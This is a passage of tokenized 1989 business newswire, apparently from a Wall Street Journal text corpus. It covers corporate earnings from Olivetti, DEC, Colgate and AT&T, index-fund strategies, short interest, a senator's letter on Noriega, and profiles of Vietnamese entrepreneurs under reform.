factories are already beginning to produce the machine , and that it should be available in Europe by December . +`` What this means is that Europeans will have these machines in their offices before Americans do , '' the spokesman said . +The new chip `` is a very big step in computing , and it is important that Olivetti be one of the first out on the market with this product , '' said Patricia Meagher Davis , an analyst at James Capel & Co. in London . +Executives at Olivetti , whose earnings have been steadily sliding over the past couple of years , have acknowledged that in the past they have lagged at getting new technology to market . +Ms. Davis said the new machines could steal some sales away from Olivetti 's own minicomputers , but would bring new sales among professionals such as engineers , stockbrokers and medical doctors . +Although Olivetti 's profits tumbled 40 % in the first half of this year , she believes Olivetti 's restructuring last fall and its introduction of new products will begin to bear fruit with an earnings rebound next year , especially if it can fulfill its promise to deliver the new machines by December . +`` We think the worst is over '' in the European information-technology market , she said . +Depending on the type of software and peripherals used , the machines can serve either as the main computer in a network of many terminals -LRB- a role usually filled by a minicomputer -RRB- , as a technical workstation or as a very fast personal computer . +`` It 's the missing link '' in Olivetti 's product line between small personal computers and higher-priced minicomputers , the Olivetti spokesman said . +He added that Olivetti will continue making its LSX minicomputer line . +The machines will cost around $ 16,250 on average in Europe . +The Intel 486 chip can process 15 million instructions per second , or MIPS , while Intel 's previous 386 chip could handle only 3 to 6 MIPS . +Olivetti also plans to sell the CP486 computer in the U.S. starting next year through Olivetti USA and through its ISC\/Bunker Ramo unit , which specializes in automating bank-branch networks . +Viatech Inc. said it received approval from the French government for its proposed $ 44.7 million acquisition of Ferembal S.A . +The approval satisfies the remaining conditions of the purchase , which is expected to close within two weeks . +erembal , the second-largest maker of food cans in France , had 1988 sales of $ 150 million . +Ferembal has 930 workers at four canning manufacturing plants and one plastic container facility . +Viatech makes flexible packaging films and machinery , and materials for the food and pharmaceutical industries . +Social Security benefits will rise 4.7 % next year to keep pace with inflation , boosting the average monthly benefit to $ 566 from $ 541 , the Department of Health and Human Services announced . +The higher payments will start with Social Security checks received on Jan. 3 , 1990 . +Supplemental Security Income payments to the disabled also will rise 4.7 % , starting with checks received on Dec. 29 , 1988 , increasing the maximum SSI payment to $ 386 from $ 368 a month . +The inflation adjustment also means that the maximum annual level of earnings subject to the wage tax that generates revenue for the Social Security trust fund will rise to $ 50,400 in 1990 from $ 48,000 this year . +As mandated by law , the tax rate will rise to 7.65 % in 1990 from 7.51 % and wo n't rise any further in the future . +This means that the maximum yearly Social Security tax paid by workers and employers each will rise $ 250.80 next year to $ 3,855.60 . +Beneficiaries aged 65 through 69 will be able to earn $ 9,360 without losing any Social Security benefits in 1990 , up from $ 8,880 this year . +The exempt amount for beneficiaries under 65 will rise to $ 6,840 from $ 6,480 . +The adjustments reflect the increase in the consumer price index for urban wage earners and clerical workers from the third quarter of last year to the third quarter of this year . +Health-care companies should get healthier in the third quarter . +Medical-supply houses are expected to report earnings increases of about 15 % on average for the third quarter , despite sales increases of less than 10 % , analysts say . +To offset sluggish sales growth , companies have been cutting staff , mostly through attrition , and slowing the growth in research and development spending . +Sales growth in the quarter was slowed by mounting pressure from groups of buyers , such as hospitals , to hold down prices . +Suppliers were also hurt by the stronger U.S. dollar , which makes sales abroad more difficult . +In some cases , competition has squeezed margins . +Becton , Dickinson & Co. , for example , faces stiff competition from a Japanese supplier in the important syringe market . +The Franklin Lakes , N.J. , company is expected to report sales growth of only 5 % to 6 % , but should still maintain earnings growth of 10 % , says Jerry E. Fuller , an analyst with Duff & Phelps Inc . +Among the first of the group to post results , Abbott Laboratories said third-quarter net income jumped 14 % to $ 196 million , or 88 cents a share , from $ 172 million , or 76 cents a share , a year earlier . +Sales for the company , based in Abbott Park , Ill. , rose 8.3 % to $ 1.31 billion from $ 1.21 billion . +Baxter International Inc. yesterday reported net climbed 20 % in the third period to $ 102 million , or 34 cents a share , from $ 85 million , or 28 cents a share , a year earlier . +Sales for the Deerfield , Ill. , company rose 5.8 % to $ 1.81 billion from $ 1.71 billion . +But not every company expects to report increased earnings . +C.R. Bard Inc. yesterday said third-quarter net plunged 51 % to $ 9.9 million , or 18 cents a share , from $ 20 million , or 35 cents a share , a year earlier . +Sales fell 1.2 % to $ 190.1 million from $ 192.5 million . +The Murray Hill , N.J. , company said full-year earnings may be off 33 cents a share because the company removed a catheter from the market . +In 1988 , the company earned $ 1.38 a share . +The Food and Drug Administration had raised questions about the device 's design . +Some analysts add that third-party pressures to reduce health costs will continue to bedevil companies ' bottom lines . +Takeover speculation , which has been buoying stocks of supply houses , may also ease , says Peter Sidoti , an analyst with Drexel Burnham Lambert Inc . +`` As that wanes , you 're going to see the stocks probably wane as well , '' he says . +Hospitals companies , meanwhile , are reporting improved earnings . +Bolstered by strong performances by its psychiatric hospitals , National Medical Enterprises Inc. , Los Angeles , reported net income of $ 50 million , or 65 cents a share , for the first quarter ended Aug. 31 , up from $ 41 million , or 56 cents a share , a year earlier . +Humana Inc. , Louisville , Ky. , also reported favorable results , with net income of $ 66.7 million , or 66 cents , in the fourth quarter ended Aug. 31 , up from $ 58.2 million , or 59 cents , a year earlier . +Analysts say the handful of hospital companies that are still publicly traded are benefiting from several trends . +Most important , hospital admission rates are stabilizing after several years of decline . +Moreover , companies have sold off many of their smaller , less-profitable hospitals and have completed painful restructurings . +Humana 's revenues , for example , are being boosted by large increases in enrollments in the company 's health maintenance organizations . +Says Todd Richter , an analyst with Dean Witter Reynolds : `` The shakeout in the publicly traded companies is over . +Initial claims for regular state unemployment benefits rose to a seasonally adjusted 396,000 during the week ended Oct. 7 from 334,000 the previous week , the Labor Department said . +The number of people receiving regular state benefits in the week ended Sept. 30 decreased to a seasonally adjusted 2,202,000 , or 2.2 % of those covered by unemployment insurance , from 2,205,000 the previous week , when the insured unemployment rate also was 2.2 % . +Counting all state and federal benefit programs , the number of people receiving unemployment benefits in the week ended Sept. 30 fell to 1,809,300 from 1,838,200 a week earlier . +These figures are n't seasonally adjusted . +A Labor Department spokesman said the unusually high number of initial claims for state unemployment benefits reflects the impact of Hurricane Hugo on southern states , particularly North Carolina and South Carolina . +The figure also may reflect initial claims filed by striking Nynex Corp. workers who have become eligible for unemployment benefits , the official said . +Digital Equipment Corp. reported a 32 % decline in net income on a modest revenue gain in its fiscal first quarter , causing some analysts to predict weaker results ahead than they had expected . +Although the second-largest computer maker had prepared Wall Street for a poor quarter , analysts said they were troubled by signs of flat U.S. orders and a slowdown in the rate of gain in foreign orders . +The Maynard , Mass. , company is in a transition in which it is trying to reduce its reliance on mid-range machines and establish a presence in workstations and mainframes . +Net for the quarter ended Sept. 30 fell to $ 150.8 million , or $ 1.20 a share , from $ 223 million , or $ 1.71 a share , a year ago . +Revenue rose 6.4 % to $ 3.13 billion from $ 2.94 billion . +Digital said a shift in its product mix toward low-end products and strong growth in workstation sales yielded lower gross margins . +A spokesman also said margins for the company 's service business narrowed somewhat because of heavy investments made in that sector . +The lack of a strong product at the high end of Digital 's line was a significant drag on sales . +Digital hopes to address that with the debut of its first mainframe-class computers next Tuesday . +The new line is aimed directly at International Business Machines Corp . +`` Until the new mainframe products kick in , there wo n't be a lot of revenue contribution at the high end , and that 's hurt us , '' said Mark Steinkrauss , Digital 's director of investor relations . +He said unfavorable currency translations were also a factor in the quarter . +DEC shares rose $ 1.375 to $ 89.75 apiece in consolidated New York Stock Exchange trading yesterday . +But analysts said that against the backdrop of a nearly 40-point rise in the Dow Jones Industrial Average , that should n't necessarily be taken as a sign of great strength . +Some cut their earnings estimates for the stock this year and predicted more efforts to control costs ahead . +`` I think the next few quarters will be difficult , '' said Steven Milunovich of First Boston . +`` Margins will remain under pressure , and when the new mainframe does ship , I 'm not sure it will be a big winner . +'' Mr. Milunovich said he was revising his estimate for DEC 's current year from $ 8.20 a share to `` well below $ 8 , '' although he has n't settled on a final number . +One troubling aspect of DEC 's results , analysts said , was its performance in Europe . +DEC said its overseas business , which now accounts for more than half of sales , improved in the quarter . +It even took the unusually frank step of telling analysts in a morning conference call that orders in Europe were up in `` double digits '' in foreign-currency terms . +That gain probably translated into about 5 % to 7 % in dollar terms , well below recent quarters ' gains of above 20 % , reckons Jay Stevens of Dean Witter Reynolds . +`` That was a disappointment '' and a sign of overall computer-market softness in Europe , Mr. Stevens said . +Marc Schulman , with UBS Securities in New York , dropped his estimate of DEC 's full-year net to $ 6.80 a share from $ 8 . +Although overall revenues were stronger , Mr. Schulman said , DEC `` drew down its European backlog '' and had flat world-wide orders overall . +`` The bottom line is that it 's more hand to mouth than it has been before , '' he said . +Mr. Schulman said he believes that the roll-out of DEC 's new mainframe will `` occur somewhat more leisurely '' than many of his investment colleagues expect . +He said current expectations are for an entry level machine to be shipped in December , with all of the more sophisticated versions out by June . +For reasons he would n't elaborate on , he said he 's sure that schedule wo n't be met , meaning less profit impact from the product for DEC in the next few quarters . +John R. Wilke contributed to this article . +Colgate Palmolive Co. reported third-quarter net income rose 27 % , bolstered by strong sales in its Latin American business and surprisingly healthy profits from U.S. operations . +Colgate said net income for the quarter rose to $ 76.7 million , or $ 1.06 a share , on sales that increased 6 % to $ 1.3 billion . +In the year-earlier period , Colgate posted net income of $ 60.2 million , or 88 cents a share . +Last year 's results included earnings from discontinued operations of $ 13.1 million , or 19 cents a share . +Reuben Mark , chairman and chief executive officer of Colgate , said earnings growth was fueled by strong sales in Latin America , the Far East and Europe . +Results were also bolstered by `` a very meaningful increase in operating profit at Colgate 's U.S. business , '' he said . +Operating profit at Colgate 's U.S. household products and personal care businesses , which include such well-known brands as Colgate toothpaste and Fab laundry detergent , jumped more than 40 % , the company said . +Mr. Mark attributed the improvement to cost savings achieved by consolidating manufacturing operations , blending together two sales organizations and more carefully focusing the company 's promotional activities . +`` We 've done a lot to improve -LRB- U.S. . -RRB- results and a lot more will be done , '' Mr. Mark said . +`` Improving profitability of U.S. operations is an extremely high priority in the company . '' +Colgate 's results were at the high end of the range of analysts ' forecasts . +The scope of the improvement in the U.S. business caught some analysts by surprise . +The company 's domestic business , especially its household products division , has performed poorly for years . +Analysts say the earnings improvement came from cutting costs rather than increasing sales . +For the nine months , net increased 14 % to $ 217.5 million , or $ 3.09 a share . +Sales rose 7 % to $ 3.8 billion . +The company earned $ 191.1 million , or $ 2.79 a share , in the year-earlier period . +Colgate 's 1988 net income included $ 40.1 million , or 59 cents a share , from discontinued operations . +Colgate sold its hospital supply and home health care business last year . +Separately , Colgate Wednesday finalized an agreement with MacroChem Corp. , a tiny dental products and pharmaceutical concern based in Billerica , Mass. , to market in the U.S. four of MacroChem 's FDA-approved dental products . +The products -- sealants and bonding materials used by dentists -- all contain fluoride that is released over time . +The move is part of a drive to increase Colgate 's business with dentists , a company spokeswoman said . +Terms of the agreement were n't given . +USACafes Limited Partnership said it completed the sale of its Bonanza restaurant franchise system to a subsidiary of Metromedia Co. for $ 71 million in cash . +USACafes , which is nearly half-owned by Sam and Charles Wyly of Dallas , said it will distribute proceeds from the sale to unit holders as a liquidating dividend as soon as possible . +The Bonanza franchise system , which generates about $ 600 million in sales annually , represented substantially all of the partnership 's assets . +The sale of the system has been challenged in a class-action suit on behalf of unit holders filed last week in a Delaware court , USACafes said . +The company said it believes the suit is without merit . +American Telephone & Telegraph Co. unveiled a sweetened pension and early-retirement program for management that it hopes will enable it to save $ 450 million in the next year . +AT&T also said net income rose 19 % in the third quarter . +AT&T said its amended pension program will nearly double to 34,000 the number of managers eligible to retire with immediate pension payments . +AT&T said that based on studies of other companies that have offered retirement plans , it expects about one-third of its eligible managers to retire under the new program . +AT&T said third-quarter net income grew , despite stiff competition in all of the company 's markets . +Net income rose to $ 699 million , or 65 cents a share , from the year-earlier $ 587 million , or 55 cents a share . +Revenue edged up to $ 8.9 billion from $ 8.81 billion . +The latest period 's net was reduced $ 102 million , or nine cents a share , for a change in depreciation method and concurrent changes in estimates of depreciable lives and net salvage for certain telecommunications equipment . +The results roughly matched estimates of securities analysts , who were encouraged by AT&T increasing its operating margin to 13 % from 11 % a year ago , because of continued cost-cutting efforts . +Sales of long-distance services , an extremely competitive market , rose 6.4 % . +But the growth was partly offset by lower equipment sales and rentals and price cuts on some products . +Under the amended pension program , AT&T managers who have at least five years of service will have five years added to their age and length of service for pension purposes . +Managers who retire Dec. 30 will have an additional 15 % added to their monthly pension for as long as five years or age 65 , whichever comes earlier . +An AT&T spokeswoman said the company would likely replace about one-third of its managers who choose to retire with new employees . +Analysts hailed the sweetened pension package , which they said had been the subject of rumors for several months . +`` This tells you AT&T is serious about continuing to manage their cost structure and is committed to 20%-a-year earnings growth , '' said Jack Grubman , an analyst with PaineWebber Inc . +But other analysts expressed disappointment that the cost-cutting move wo n't result in even greater earnings growth . +`` This is a good move , but it only gets you to where people 's expectations already are , '' in terms of earnings growth , said Joel D. Gross , an analyst with Donaldson , Lufkin & Jenrette . +Mr. Gross said he had hoped that a cost savings of $ 450 million would result in even greater growth than the 20 % annual earnings increase AT&T has told analysts it expects in the future . +AT&T said the special retirement option will increase fourth-quarter expenses . +But the company said the amount ca n't be determined until it knows how many managers opt to retire . +AT&T said the expense increase will be largely offset by a gain from its previously announced plan to swap its holdings in Ing . C. Olivetti & Co. for shares in Cie . Industriali Riunite , an Italian holding company . +For the nine months , AT&T said net income was $ 1.99 billion , or $ 1.85 a share , up 19 % from $ 1.67 billion , or $ 1.56 a share . +Revenue gained 3.1 % to $ 26.81 billion from $ 26 billion . +In composite trading yesterday on the New York Stock Exchange , AT&T shares closed at $ 43.375 , up 87.5 cents . +When it comes to buying and selling shares , Westridge Capital Management Inc. takes a back seat to no one . +Every dollar 's worth of stock in the Los Angeles money manager 's portfolio is traded seven or eight times a year , the firm estimates . +That makes it the most active trader among all the nation 's investment advisers , according to Securities and Exchange Commission filings . +But wait a second . +Westridge Capital is an index fund -- the type of stolid long-term investor whose goal is to be nothing more than average . +Westridge Capital 's frenetic trading reflects the changes sweeping through the previously sleepy world of indexing . +Indexing for the most part has involved simply buying and then holding stocks in the correct mix to mirror a stock market barometer , such as Standard & Poor 's 500-stock index , and match its performance . +Institutional investors have poured $ 210 billion into stock and bond indexing as a cheap and easy form of investment management that promises to post average market returns . +These big investors have flocked to indexing because relatively few `` active '' stock pickers have been able to consistently match the returns of the S&P 500 or other bellwethers , much less beat it . +And the fees investors pay for indexing run a few pennies for each $ 100 of assets -- a fraction of the cost of active managers . +That 's because computers do most of the work , and low trading activity keeps a lid on commission costs . +But today , indexing is moving from a passive investment strategy to an increasingly active one . +Because index-fund managers are no longer satisfied with merely being average , they have developed `` enhanced '' indexing strategies that are intended to outperform the market as much as three percentage points . +`` Indexing has been the most single successful investment concept in the last decade , but the index money has been just sort of sitting there , '' says Seth M. Lynn , president of Axe Core Investors Inc. , an indexer based in Tarrytown , N.Y . +`` Now the interest is in what else can I do with that money . '' +Among the souped-up indexing strategies : Indexed portfolios can be built around thousands of stocks , or just a few dozen , rather than being restricted to the S&P 500 companies . +They can ignore the S&P 500 stocks altogether and focus on particular types of stocks , such as smaller companies , those paying high dividends or companies in a particular industry , state or country . +With today 's computer-driven program trading techniques , index funds can trade back and forth between stock-index futures and the actual stocks making up indexes such as the S&P 500 . +Futures and options also make it possible to build `` synthetic '' index funds that do n't actually own a single share of stock , but can produce returns that match or exceed the broad stock market . +One reason for these hybrids is that indexing 's rapid growth is slowing , particularly for those `` plain vanilla '' funds that mirror the S&P 500 . +`` There is n't a boatload -LCB- of big investors -RCB- out there still waiting to get into indexing , '' says P. James Kartalia , vice president of ANB Investment Management Co. , Chicago , which offers both indexing and active management services . +-LRB- After tripling in size in the past five years , index funds now hold about 20 % of the stock owned by pension funds . -RRB- +A further problem is razor-thin profits . +Plain-vanilla funds have become so commonplace that fees they can charge have plunged to almost nothing , and in some cases are just that . +To land customers for their well-paying stock custodial business , big banks sometimes will throw in basic indexing services for free . +`` It 's like getting a free toaster when you open an account , '' says Axe Core 's Mr. Lynn . +As a result , indexers have been looking for ways to give investors something more than the average for their money . +And many have been successful , as in the case of the index fund operated by hyper-trader Westridge Capital . +Westridge Capital has used enhanced indexing techniques to beat the S&P 500 's returns by 2.5 to 3 percentage points over the past four years , with the same risk level as holding the S&P 500 stocks , according to James Carder , the firm 's president . +Strategies vary for Westridge Capital , which has $ 300 million under management . +The firm sometimes buys S&P 500 futures when they are selling at a discount to the actual stocks , and will switch back and forth between stocks and stock-index futures to take advantages of any momentary price discrepencies . +Mr. Carder also goes through periods when he buys stocks in conjunction with options to boost returns and protect against declines . +And in some months , he buys stock-index futures and not stocks at all . +`` By their nature , our trades are very short-term and are going to create high turnover , '' Mr. Carder adds . +`` The more turnover , the better for our clients . '' +Big indexer Bankers Trust Co. also uses futures in a strategy that on average has added one percentage point to its enhanced fund 's returns . +J. Thomas Allen , president of Pittsburgh-based Advanced Investment Management Inc. , agrees it 's a good idea to jump between the S&P 500 stocks and futures . +`` You 're buying the S&P , and you always want to hold the cheapest form of it , '' he says . +But some indexers make little or no use of futures , saying that these instruments present added risks for investors . +`` If the futures markets have a problem , then those products could have a problem , '' says John Zumbrunn , managing director of Prudential Insurance Co. of America 's Investment Index Technologies Inc. unit . +Prudential currently is seeking approval to offer a new fund offering a return equal to the S&P 500 index plus 5\/100 of a percentage point . +An added feature is that the slighty improved return would be guaranteed by Prudential . +There are many other strategies to bolster the returns of index funds . +They include : +LIMITED RISK FUNDS : +These guarantee protection against stock market declines while still passing along most gains . +Here a fund may promise to pay back , say , $ 95 of every $ 100 invested for a year , even if the market goes much lower . +The fund could invest $ 87 for one year in Treasury bills yielding 8 % to return the guaranteed $ 95 . +That leaves $ 13 , which could be used to buy S&P 500 options that will nearly match any gain in the S&P index . +MANAGER REPLICATION FUNDS : +Say a big investor is interested in growth stocks . +Instead of hiring one of the many active managers specializing in growth stocks , indexers can design a portfolio around the same stocks ; the portfolio will be maintained by computer , reducing both fees and , in theory , risk -LRB- because of the large number of stocks -RRB- . +`` We see a lot of interest in those kind of things , '' says Frank Salerno , a vice president of Bankers Trust . +`` People comfortable with the passive approach are using them for other strategies . '' +TILT FUNDS : +This is an index fund with a bet . +Instead of replicating the S&P 500 or some other index exactly , some stocks are overweighted or underweighted in the portfolio . +One simple approach is to exclude S&P 500 companies considered bankruptcy candidates ; this can avoid weak sisters , but also can hurt when a company like Chrysler Corp. rebounds . +Another approach : An investor with $ 100 million might use $ 75 million to buy the S&P 500 index and spend the other $ 25 million on a favorite group of stocks . +SPECIALIZED FUNDS : +Indexes can be constructed to serve social goals , such as eliminating the stocks of companies doing business in South Africa . +Other funds have been designed to concentrate on stocks in a geographic area in order to encourage local investment . +Pennsylvania State Employees Retirement System , for example , has about $ 130 million invested in a fund of 244 companies that are either Pennsylvania-based or have 25 % of their work forces in the state . +Short interest on the New York Stock Exchange declined for the second consecutive month , this time 4.2 % , while the American Stock Exchange reported its third consecutive record month of short interest . +The Big Board reported that short interest dropped to 523,920,214 shares as of Oct. 13 from 547,347,585 shares in mid-September . +Amex short interest climbed 3 % to 53,496,665 shares from 51,911,566 shares . +For the year-earlier month , the Big Board reported 461,539,056 shares , indicating a 13.5 % year-to-year rise , while the Amex reported 36,015,194 shares , a 48 % leap . +Amex short interest has been heading upward since mid-December , with increases in each month since then except at mid-July . +Traders who sell short borrow stock and sell it , betting that the stock 's price will decline and that they can buy the shares back later at a lower price for return to the lender . +Short interest is the number of shares that have n't yet been purchased for return to lenders . +Although a substantial short position reflects heavy speculation that a stock 's price will decline , some investors consider an increase in short interest bullish because the borrowed shares eventually must be bought back . +Fluctuation in short interest of certain stocks also may be caused partly by arbitraging . +The figures occasionally include incomplete transactions in restricted stock . +The level of negative sentiment measured by the Big Board short interest ratio slipped to 3.36 from last month 's 3.38 . +The ratio is the number of trading days , at the exchange 's average trading volume , that would be required to convert the total short interest position . +Some analysts suggest , however , that the ratio has weakened in value as an indicator because options and other products can be used to hedge short positions . +Varity Corp. led the Big Board list of largest short volumes with 12,822,563 shares . +Varity has proposed to acquire K-H Corp. , consisting of the auto parts division and some debt of Fruehauf Corp. , for $ 577.3 million of cash and securities . +Chemical Waste Management posted the biggest increase in short volume on the New York exchange , up 3,383,477 shares to 5,267,238 . +Bristol-Myers Squibb Co. , the entity formed from the recent acquisition of Squibb Corp. by Bristol-Myers Co. , logged the largest volume decline , 7,592,988 shares , to 12,017,724 . +Short interest in International Business Machines Corp. plunged to 1,425,035 shares from 2,387,226 shares a month earlier . +Also closely watched is Exxon Corp. , where short interest slid to 4,469,167 shares from 5,088,774 . +On a percentage basis , Germany Fund Inc. led the gainers , leaping to 67,972 shares from three shares . +TransCanada PipeLines Ltd. led the percentage decliners , dropping to 59 shares from 183,467 . +The Amex short interest volume leader again was Texas Air Corp. , rising to 3,820,634 shares from 3,363,949 . +Bolar Pharmaceutical Co. posted the largest volume increase , 552,302 shares , to 2,157,656 . +The company is under an investigation concerning procedures to gain Food and Drug Administration approval of generic drugs . +Bolar has denied any wrongdoing . +The largest volume drop -- down 445,645 shares to 141,903 -- came in shares represented by B.A.T Industries PLC 's American depositary receipts . +The company is facing a takeover proposal from the financier Sir James Goldsmith . +First Iberian Fund led the percentage increases , rising to 73,100 shares from 184 . +Nelson Holdings International Ltd. dropped the most on a percentage basis , to 1,000 shares from 255,923 . +The adjacent tables show the Big Board and Amex issues in which a short interest position of at least 100,000 shares existed as of mid-October or in which there was a short position change of at least 50,000 shares since mid-September . +Your Oct. 12 editorial `` Pitiful , Helpless Presidency ? '' correctly states that I was critical of the Bush administration 's failure to have any plan in place to respond in a timely fashion to the opportunities to oust Manuel Noriega presented by the attempted military coup on Oct. 3 . +You are absolutely wrong , however , in opining that this position is some kind of `` flip-flop , '' something newly arrived at as a result of reading the opinion polls . +My position is one founded on both the facts and the law . +Although you may have forgotten , public opinion about Gen. Noriega is where it is in large measure because of my investigation of his years of involvement in narcotics smuggling -LRB- and simultaneous work as a U.S. operative -RRB- . +The public made up its mind about Gen. Noriega largely as a result of the hearings I chaired in the Subcommittee on Terrorism and Narcotics of the Foreign Relations Committee on Feb. 8 , 9 , 10 and 11 , 1988 , and again on April 4 , 1988 . +It was during those hearings that the nation first learned the breadth and depth of Gen. Noriega 's criminality , and of his enduring relationships with a variety of U.S. government agencies . +Those hearings also highlighted how Gen. Noriega was able to use his relationships with these agencies to delay U.S. action against him , and to exploit the administration 's obsession with overthrowing the Sandinistas to protect his own drug-dealing . +As former Ambassador to Costa Rica Francis J. McNeil testified before the subcommittee , the Reagan administration knew that Gen. Noriega was involved with narcotics , but made a decision in the summer of 1986 `` to put Gen. Noriega on the shelf until Nicaragua was settled . '' +As the report issued by the subcommittee concluded , `` Our government did nothing regarding Gen. Noriega 's drug business and substantial criminal involvement because the first priority was the Contra war . +This decision resulted in at least some drugs entering the United States as a hidden cost of the war . '' +Unfortunately , this problem continued even after Gen. Noriega 's indictment . +Throughout 1988 and this year , I and others in Congress have pressed the U.S. to develop a plan for pushing this `` narcokleptocrat '' out of Panama . +Regrettably , two administrations in a row have been unwilling and unable to develop any plan , military or economic , for supporting the Panamanian people in their attempts to restore democracy . +Sen. John Kerry -LRB- D. , Mass . -RRB- +For Vietnamese , these are tricky , often treacherous , times . +After years of hesitation , economic and political reform was embraced at the end of 1986 , but ringing declarations have yet to be translated into much action . +Vietnam is finding that turning a stagnant socialist order into a dynamic free market does n't come easy . +Here is how three Vietnamese are coping with change : +The Tire King +Nguyen Van Chan is living proof that old ways die hard . +Mr. Chan used to be an oddity in Hanoi : a private entrepreneur . +His business success made him an official target in pre-reform days . +Mr. Chan , now 64 years old , invented a fountain pen he and his family produced from plastic waste . +Later , he marketed glue . +Both products were immensely popular . +For his troubles , Mr. Chan was jailed three times between 1960 and 1974 . +Though his operation was registered and used only scrap , he was accused of conducting illegal business and possessing illegal materials . +Once he was held for three months without being charged . +Things were supposed to change when Vietnam 's economic reforms gathered pace , and for awhile they did . +After years of experimenting , Mr. Chan produced a heavy-duty bicycle tire that outlasted its state-produced rival . +By 1982 , he was selling thousands of tires . +Newspapers published articles about him , and he was hailed as `` the tire king . '' +His efforts earned a gold medal at a national exhibition -- and attracted renewed attention from local authorities . +District police in 1983 descended on his suburban home , which he and his large family used as both residence and factory , and demanded proof the house and equipment were his . +He produced it . +`` That was the first time they lost and I won , '' he says . +He was further questioned to determine if he was `` a real working man or an exploiter . '' +Says Mr. Chan : `` When I showed it was from my own brain , they lost for the second time . '' +But a few days later the police accused him of stealing electricity , acquiring rubber without permission and buying stolen property . +Warned he was to be jailed again , he fled to the countryside . +His family was given three hours to leave before the house and contents were confiscated . +With only the clothes they were wearing , family members moved to a home owned by one of Mr. Chan 's sons . +After six months on the run , Mr. Chan learned the order for his arrest had been canceled . +He rejoined his family in January 1984 and began the long struggle for justice , pressing everyone from Hanoi municipal officials to National Assembly deputies for restoration of his rights . +He and his family kept afloat by repairing bicycles , selling fruit and doing odd jobs . +Mr. Chan achieved a breakthrough in 1987 -- and became a minor celebrity again -- when his story was published in a weekly newspaper . +In 1988 , 18 months after the sixth congress formally endorsed family-run private enterprise , district authorities allowed Mr. Chan to resume work . +By late last year he was invited back as `` the tire king '' to display his products at a national exhibition . +National leaders stopped by his stand to commend his achievements . +Mr. Chan now produces 1,000 bicycle and motorbike tires a month and 1,000 tins of tire-patching glue in the son 's small house . +Eighteen people pack the house 's two rooms -- the Chans , four of their 10 children with spouses , and eight of 22 grandchildren . +Most sleep on the floor . +Come daybreak , eight family members and two other workers unroll a sheet of raw rubber that covers the floor of the house and spills out onto the street . +The primitive operations also burst out the back door into a small courtyard , where an ancient press squeezes rubber solution into a flat strip and newly made tires are cooled in a bathtub filled with water . +Mr. Chan talks optimistically of expanding , maybe even moving into the import-export field . +First , however , he has unfinished business . +When district authorities allowed him to resume manufacturing , they released only one of his machines . +They did n't return the rubber stocks that represent his capital . +Nor did they return his house and contents , which he values at about $ 44,000 . +He wants to recover more than just his property , though . +`` I want my dignity back , '' he says . +The Editor +Nguyen Ngoc seemed an obvious choice when the Vietnamese Writers Association was looking for a new editor to reform its weekly newspaper , Van Nghe . +After the sixth congress , journalists seized the opportunity provided by the liberalization to probe previously taboo subjects . +Mr. Ngoc , 57 years old , had solid reformist credentials : He had lost his official position in the association in he early 1980s because he questioned the intrusion of politics into literature . +Appointed editor in chief in July 1987 , Mr. Ngoc rapidly turned the staid Van Nghe into Vietnam 's hottest paper . +Circulation soared as the weekly went way beyond standard literary themes to cover Vietnamese society and its ills . +Readers were electrified by the paper 's audacity and appalled by the dark side of life it uncovered . +One article recounted a decade-long struggle by a wounded soldier to prove , officially , he was alive . +Another described how tax-collection officials in Thanh Hoa province one night stormed through homes and confiscated rice from starving villagers . +The newspaper also ran a series of controversial short stories by Nguyen Huy Thiep , a former history teacher , who stirred debate over his interpretation of Vietnamese culture and took a thinly veiled swipe at writers who had blocked his entry into their official association . +Van Nghe quickly made influential enemies . +`` Those who manage ideology and a large number of writers reacted badly '' to the restyled paper , says Lai Nguyen An , a literary critic . +After months of internal rumblings , Mr. Ngoc was fired last December . +His dismissal triggered a furor among intellectuals that continues today . +`` Under Mr. Ngoc , Van Nghe protected the people instead of the government , '' says Nguyen Duy , a poet who is the paper 's bureau chief for southern Vietnam . +`` The paper reflected the truth . +For the leadership , that was too painful to bear . '' +The ` Billionaire ' +Nguyen Thi Thi is Vietnam 's entrepreneur of the 1980s . +Her challenge is to keep her fledgling empire on top in the 1990s . +Mrs. Thi did n't wait for the reforms to get her start . +She charged ahead of the government and the law to establish Hochiminh City Food Co. as the biggest rice dealer in the country . +Her success , which included alleviating an urban food shortage in the early 1980s , helped persuade Hanoi to take the reform path . +Her story is becoming part of local folklore . +A lifelong revolutionary with little education who fought both the French and the U.S.-backed Saigon regime , she switched effortlessly to commerce after the war . +Her instincts were capitalistic , despite her background . +As she rode over regulations , only her friendship with party leaders , including Nguyen Van Linh , then Ho Chi Minh City party secretary , kept her out of jail . +Following Mr. Linh 's appointment as secretary-general of the party at the sixth congress , Mrs. Thi has become the darling of `` doi moi '' , the Vietnamese version of perestroika . +The authorities have steered foreign reporters to her office to see an example of `` the new way of thinking . '' +Foreign publications have responded with articles declaring her Vietnam 's richest woman . +`` Some people call me the communist billionaire , '' she has told visitors . +Actually , 67-year-old Mrs. Thi is about as poor as almost everyone else in this impoverished land . +She has indeed turned Hochiminh City Food into a budding conglomerate , but the company itself remains state-owned . +She manages it with the title of general-director . +The heart of the business is the purchase of rice and other commodities , such as corn and coffee , from farmers in the south , paying with fertilizer , farm tools and other items . +Last year , Hochiminh City Food says it bought two million metric tons of unhusked rice , more than 10 % of the country 's output . +The company operates a fleet of trucks and boats to transport the commodities to its warehouses . +A subsidiary company processes commodities into foods such as instant noodles that are sold with the rice through a vast retail network . +In recent years , Mrs. Thi has started to diversify the company , taking a 20 % stake in newly established , partly private Industrial and Commercial Bank , and setting up Saigon Petro , which owns and operates Vietnam 's first oil refinery . +Mrs. Thi says Hochiminh City Food last year increased pretax profit 60 % to the equivalent of about $ 2.7 million on sales of $ 150 million . +She expects both revenue and profit to gain this year . +She is almost cavalier about the possibility Vietnam 's reforms will create rivals on her home turf . +`` I do n't mind the competition inside the country , '' she says . +`` I am only afraid that with Vietnam 's poor-quality products we ca n't compete with neighboring countries . +The earthquake that hit the San Francisco Bay area is n't likely to result in wholesale downgrading of bond ratings , officials at the two major rating agencies said . +Standard & Poor 's Corp. is reviewing debt issued by 12 California counties , and `` there are potential isolated problems , '' said Hyman Grossman , a managing director . +The agency is preparing a report , to be issued today , on the earthquake 's impact on the property- and casualty-insurance industry . +The only securities so far to be singled out are those issued by Bay View Federal Savings & Loan . +Moody 's Investors Service Inc. said it is reviewing , with an eye toward a possible downgrade , the ratings on Bay View Federal bonds , long-term deposits and the preferred-stock rating of its parent company , Bay View Capital Corp . +As for property and casualty insurers , Moody 's said `` preliminary estimates suggest that losses should not have a significant impact on most insurers ' financial condition , '' but it `` raises concerns about potentially substantial risks '' longer-term . +`` Losses from the earthquake are expected to be of similar 